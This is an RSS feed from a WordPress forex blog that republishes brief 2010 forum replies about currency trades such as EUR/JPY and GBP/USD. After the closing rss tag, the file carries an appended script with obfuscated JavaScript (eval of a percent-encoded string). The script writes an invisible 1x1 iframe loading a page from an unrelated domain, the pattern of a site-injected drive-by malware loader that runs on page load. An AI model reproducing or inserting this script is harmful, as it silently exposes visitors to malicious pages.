<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Forex Investing Blog &#187; Interactive Trading</title>
	<atom:link href="http://forexinvestingblog.info/category/interactive-trading/feed/" rel="self" type="application/rss+xml" />
	<link>http://forexinvestingblog.info</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Wed, 08 Sep 2010 01:47:29 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>pqt replies to: USD/JPY Discussion</title>
		<link>http://forexinvestingblog.info/2010/09/07/pqt-replies-to-usdjpy-discussion-9/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/pqt-replies-to-usdjpy-discussion-9/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 01:47:29 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006339#post4006339</guid>
		<description><![CDATA["We will take decisive steps when necessary," Yoshihiko Noda said during a parliamentary committee...]]></description>
			<content:encoded><![CDATA["We will take decisive steps when necessary," Yoshihiko Noda said during a parliamentary committee session. 
 
He means when the yen threatens parity with the dollar ;)
 
:rofl:]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/pqt-replies-to-usdjpy-discussion-9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Petar_Serbia replies to: EUR/JPY Anytime!</title>
		<link>http://forexinvestingblog.info/2010/09/07/petar_serbia-replies-to-eurjpy-anytime-365/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/petar_serbia-replies-to-eurjpy-anytime-365/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:54:40 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006259#post4006259</guid>
		<description><![CDATA[Hello angliao and welcome to the thread :peace:]]></description>
			<content:encoded><![CDATA[Hello angliao and welcome to the thread :peace:]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/petar_serbia-replies-to-eurjpy-anytime-365/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peter-FX replies to: Nearly Naked (Simple Trades)</title>
		<link>http://forexinvestingblog.info/2010/09/07/peter-fx-replies-to-nearly-naked-simple-trades-14/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/peter-fx-replies-to-nearly-naked-simple-trades-14/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:48:00 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006252#post4006252</guid>
		<description><![CDATA[redsword11
I didnt ask you to leave. I asked you to learn how to communicate acceptably.]]></description>
			<content:encoded><![CDATA[redsword11
I didnt ask you to leave. I asked you to learn how to communicate acceptably.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/peter-fx-replies-to-nearly-naked-simple-trades-14/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>zamanib replies to: Multiple Trading systems gbpusd only</title>
		<link>http://forexinvestingblog.info/2010/09/07/zamanib-replies-to-multiple-trading-systems-gbpusd-only-142/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/zamanib-replies-to-multiple-trading-systems-gbpusd-only-142/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:45:06 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006249#post4006249</guid>
		<description><![CDATA[please let me know if you want the 2lines for other currency pair  I will email it to you -- since...]]></description>
			<content:encoded><![CDATA[please let me know if you want the 2lines for other currency pair  I will email it to you -- since this thread is gbpusd only]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/zamanib-replies-to-multiple-trading-systems-gbpusd-only-142/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>enterfx replies to: EURUSD</title>
		<link>http://forexinvestingblog.info/2010/09/07/enterfx-replies-to-eurusd-37/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/enterfx-replies-to-eurusd-37/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:40:38 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006243#post4006243</guid>
		<description><![CDATA[yes.]]></description>
			<content:encoded><![CDATA[yes.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/enterfx-replies-to-eurusd-37/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>redsword11 replies to: Nearly Naked (Simple Trades)</title>
		<link>http://forexinvestingblog.info/2010/09/07/redsword11-replies-to-nearly-naked-simple-trades-201/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/redsword11-replies-to-nearly-naked-simple-trades-201/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:38:54 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006239#post4006239</guid>
		<description><![CDATA[the market is yours]]></description>
			<content:encoded><![CDATA[the market is yours]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/redsword11-replies-to-nearly-naked-simple-trades-201/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>naatha replies to: Auslanco &#8211; GBP/JPY and GBP/USD (newstrade)</title>
		<link>http://forexinvestingblog.info/2010/09/07/naatha-replies-to-auslanco-gbpjpy-and-gbpusd-newstrade-115/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/naatha-replies-to-auslanco-gbpjpy-and-gbpusd-newstrade-115/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:37:08 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006236#post4006236</guid>
		<description><![CDATA[gy-15m]]></description>
			<content:encoded><![CDATA[gy-15m<img src=http://www.forexfactory.com/attachment.php/539795/0031.gif>]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/naatha-replies-to-auslanco-gbpjpy-and-gbpusd-newstrade-115/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ilovepippin replies to: Planetary Cycles Trading (EUR/USD)</title>
		<link>http://forexinvestingblog.info/2010/09/07/ilovepippin-replies-to-planetary-cycles-trading-eurusd-120/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/ilovepippin-replies-to-planetary-cycles-trading-eurusd-120/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:34:23 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006232#post4006232</guid>
		<description><![CDATA[Thank you for sharing that with us.]]></description>
			<content:encoded><![CDATA[Thank you for sharing that with us.]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/ilovepippin-replies-to-planetary-cycles-trading-eurusd-120/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>kuroro001 replies to: Cable Update (GBPUSD)</title>
		<link>http://forexinvestingblog.info/2010/09/07/kuroro001-replies-to-cable-update-gbpusd-19/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/kuroro001-replies-to-cable-update-gbpusd-19/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:30:35 +0000</pubDate>
		<dc:creator>FF Forum: Interactive Trading</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006226#post4006226</guid>
		<description><![CDATA[I went short at 1,5368... short just below the little H1 swing high from yesterday....hopefully it...]]></description>
			<content:encoded><![CDATA[I went short at 1,5368... short just below the little H1 swing high from yesterday....hopefully it won't clear this high
Stop for 30 pips, target is 1,5285...wait & see now!]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/kuroro001-replies-to-cable-update-gbpusd-19/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Petar_Serbia replies to: EUR/JPY Anytime!</title>
		<link>http://forexinvestingblog.info/2010/09/07/petar_serbia-replies-to-eurjpy-anytime-366/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/petar_serbia-replies-to-eurjpy-anytime-366/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:30:24 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Interactive Trading]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006225#post4006225</guid>
		<description><![CDATA[Hello guys i took just one position this Asia session that is EURJPY buy i will go for 40 pips...]]></description>
			<content:encoded><![CDATA[Hello guys i took just one position this Asia session that is EURJPY buy i will go for 40 pips becouse i dont expext much from EUR..I expext EURJPY to retrace from TL and to back down...;)

Cheers

Petar<img src=http://www.forexfactory.com/attachment.php/539794/eurjpynow.gif>]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/petar_serbia-replies-to-eurjpy-anytime-366/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>